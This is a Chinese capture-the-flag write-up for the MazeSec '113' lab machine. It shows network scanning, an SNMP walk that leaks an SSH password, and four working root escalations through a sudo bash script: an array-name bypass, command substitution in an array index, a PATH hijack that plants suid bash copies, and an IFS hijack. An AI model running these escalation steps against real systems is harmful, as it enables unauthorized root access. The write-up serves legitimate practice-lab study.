目录

Maze-Sec 113

# 靶机信息

靶机名称:113
靶机作者:ll104567/群主
靶机类型:Linux
难度:Baby
来源:MazeSec/QQ内部群 660930334
官网:https://maze-sec.com/

# 目标主机

使用 arp-scan 扫描内网存活主机:

┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth1 192.168.1.0/24

192.168.1.10    08:00:27:f3:5f:aa       (Unknown)
1
2
3
4

目标主机 IP:192.168.1.10

# 端口扫描

使用 nmap 进行 TCP 全端口扫描:

┌──(npc㉿kali)-[~]
└─$ nmap 192.168.1.10 -p- -sT -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
1
2
3
4
5
6

发现开放了 22/ssh、80/http 端口

使用 nmap 扫描 UDP top 100 端口:

┌──(npc㉿kali)-[~]
└─$ nmap 192.168.1.10 --top-ports 100 -sU -sV

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
1
2
3
4
5

发现开放了 161/snmp 端口,使用了默认的 public 社区字符串

这个服务可以用来获取系统信息、系统进程、系统用户等敏感信息。

# 80 端口服务探测

常规目录扫描无果

# 161 端口服务探测

在 hacktricks 找到 161/snmp 漏洞利用方法:

https://book.hacktricks.wiki/zh/network-services-pentesting/pentesting-snmp/index.html

获取靶机系统信息及进程:

snmpbulkwalk -c public -v2c 192.168.1.10 .
1

在输出中找到一个进程,泄露了用户及密码

welcome:mMOq2WWONQiiY8TinSRF

尝试 ssh 登录 welcome 用户

# sudo 权限枚举

welcome 用户可以免密执行 /opt/113.sh 脚本

# 脚本分析

脚本内容如下:

#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
        exit
fi

if [ "$3" != "mazesec" ]
then
        echo "\$3 must be mazesec"
        exit 
else
        /bin/cp /usr/bin/mazesec $sandbox
        exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
        exit
fi

declare -- "$1"="$2"
$exec_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

其中 /usr/bin/mazesec 内容如下:

welcome@113:~$ file /usr/bin/mazesec 
/usr/bin/mazesec: Bourne-Again shell script, ASCII text executable
welcome@113:~$ cat /usr/bin/mazesec 
#!/bin/bash

flag=$(echo $RANDOM$RANDOM$RAMDOM$RANDOM | md5sum | awk '{print $1}')
echo "flag{fakeroot-$flag}"
1
2
3
4
5
6
7
  • 脚本会创建一个临时目录作为沙箱环境
  • 脚本接收三个参数,若参数不符合要求则退出
  • 脚本会将 /usr/bin/mazesec 复制到沙箱目录下,并赋值给变量 exec_
  • 脚本会将第一个参数作为变量名,第二个参数作为变量值,使用 declare -- 创建变量
  • 最后脚本会对变量 $exec_ 进行展开替换为变量 $exec_ 的值并执行

有多个利用方案

# 方案一:变量的数组特性(语法特性)

在 sudo 脚本的最后,有变量赋值的操作

if [ "$1" = "exec_" ];then
        exit
fi

declare -- "$1"="$2"
$exec_
1
2
3
4
5
6

只限制了第一个参数不能为 exec_,也就是变量名不能为字符串 exec_

在 bash 里,当你声明一个普通变量时,它实际上被存储为一个数组的第一个元素(索引为 0)。

在 Bash 中,要打印数组中索引非 0 的元素,必须使用大括号 {} 显式指定索引号。

测试:

  • 变量实际是数组的第一个元素
  • 可以通过索引访问修改元素值

现在可以知道,题目检查第一个参数是否完全等于 exec_,我们可以显式的将第一个参数设置为 exec_[0],这样可以绕过检查,同时给变量 exec_ 赋值。

# 方案二:数组索引解析的命令替换(语法特性)

在 bash 里,数组变量的索引可以是一个变量、命令替换,甚至是算术表达式,bash 会解析这些索引表达式以确定实际的索引值。

测试:

  • 数组索引可以是变量、算数表达式、命令替换

那么,可以里索引来解析命令替换执行任意命令,因为命令替换实际是fork了一个子shell来执行命令,过程的标准输出会被捕获给父进程,标准错误会直接输出到终端,因此如果需要一个有回显的交互shell,可以通过重定向标准输出到标准错误来实现。

获取一个 suid 的 bash:

获取一个 有回显的交互式 root shell:

1 是标准输出,2 是标准错误,& 表示“文件描述符”。1>&2 是将标准输出重定向到标准错误,这样可以确保所有输出都发送到当前终端。

# 方案三:PATH 劫持(环境变量)

如果你不知道变量默认是数组的第一个元素,可以通过劫持环境变量 PATH 来实现劫持 mazesec 文件里没有使用绝对路径的 md5sum、awk命令。

#!/bin/bash

flag=$(echo $RANDOM$RANDOM$RAMDOM$RANDOM | md5sum | awk '{print $1}')
echo "flag{fakeroot-$flag}"
1
2
3
4

正常流程下:

  • /opt/113.sh 会在沙箱复制一份 /usr/bin/mazesec
  • /opt/113.sh 文件尾会对变量 $exec_ 进行展开替换为变量 $exec_ 的值 /tmp/tmp.xxxxxxx/mazesec
  • 在子进程里执行 /tmp/tmp.xxxxxxx/mazesec 脚本

在 mazesec里,没有重置 PATH 环境变量,那么就会默认继承父进程的 PATH 环境变量。

所以,我们可以劫持 PATH 环境变量,让 mazesec 里执行的 md5sum、awk 命令变成我们自定义的脚本。

welcome@113:/tmp$ cat md5sum 
/usr/bin/cp /bin/bash /tmp/bash_from_md5sum
/usr/bin/chmod +s /tmp/bash_from_md5sum
welcome@113:/tmp$ cat awk
/usr/bin/cp /bin/bash /tmp/bash_from_awk
/usr/bin/chmod +s /tmp/bash_from_awk
welcome@113:/tmp$ chmod +x md5sum awk 
welcome@113:/tmp$ sudo /opt/113.sh 'PATH' '/tmp' mazesec
flag{fakeroot-}
welcome@113:/tmp$ ls -alh /tmp/bash*
-rwsr-sr-x 1 root root 1.2M Jan 18 10:28 /tmp/bash
-rwsr-sr-x 1 root root 1.2M Jan 18 11:00 /tmp/bash_from_awk
-rwsr-sr-x 1 root root 1.2M Jan 18 11:00 /tmp/bash_from_md5sum
1
2
3
4
5
6
7
8
9
10
11
12
13

# 方案四:IFS 字符级劫持(环境变量)

如果 mazesec 文件里使用的命令是通过绝对路径调用的,比如 /usr/bin/md5sum,那么就无法通过 PATH 劫持命令。那还有什么变量可以玩吗?有的,兄弟。

在 linux 系统中,IFS(Internal Field Separator,内部字段分隔符)是一个环境变量,用于定义 shell 在解析输入时用来分隔单词的字符。默认情况下,IFS 包含空格、制表符和换行符。

welcome@113:/tmp$ printf %q "$IFS"; echo
$' \t\n'
1
2

我们可以通过修改 IFS 变量,来篡改 shell 解析命令和参数的效果。

/opt/113.sh 脚本的最后关键部分,在我们赋值 变量 $exec_ 以后就会立即生效,下一行直接受到影响:

在变量 $exec_ 展开后,得到这个 /tmp/tmp.xxxxx/mazesec沙箱路径,这里的 .xxxx 部分不可控,我们可以修改 IFS 变量值,把这部分分割为多部分,构造出新的命令。

/tmp/tmp.lLnlKdM2kN/mazesec
1

很明显,我们可以把 . 作为分隔符,那么 /tmp/tmp.lLnlKdM2kN/mazesec 会被分割为两部分,而 . 被看作类似分隔符。

  • /tmp/tmp
  • lLnlKdM2kN/mazesec

其中 /tmp/tmp可以构造出一个可执行文件,来执行任意命令,而 lLnlKdM2kN/mazesec 会被当作第一个参数传递给该脚本。

# 1. 创建名为 "tmp" 的恶意脚本,并赋予执行权限
echo 'su' > /tmp/tmp
chmod +x /tmp/tmp
# 2. 设置 IFS 变量,将 "." 添加为分隔符
sudo /opt/113.sh 'IFS' '.' mazesec
1
2
3
4
5

最后一次更新于: 2026/01/19, 19:10:58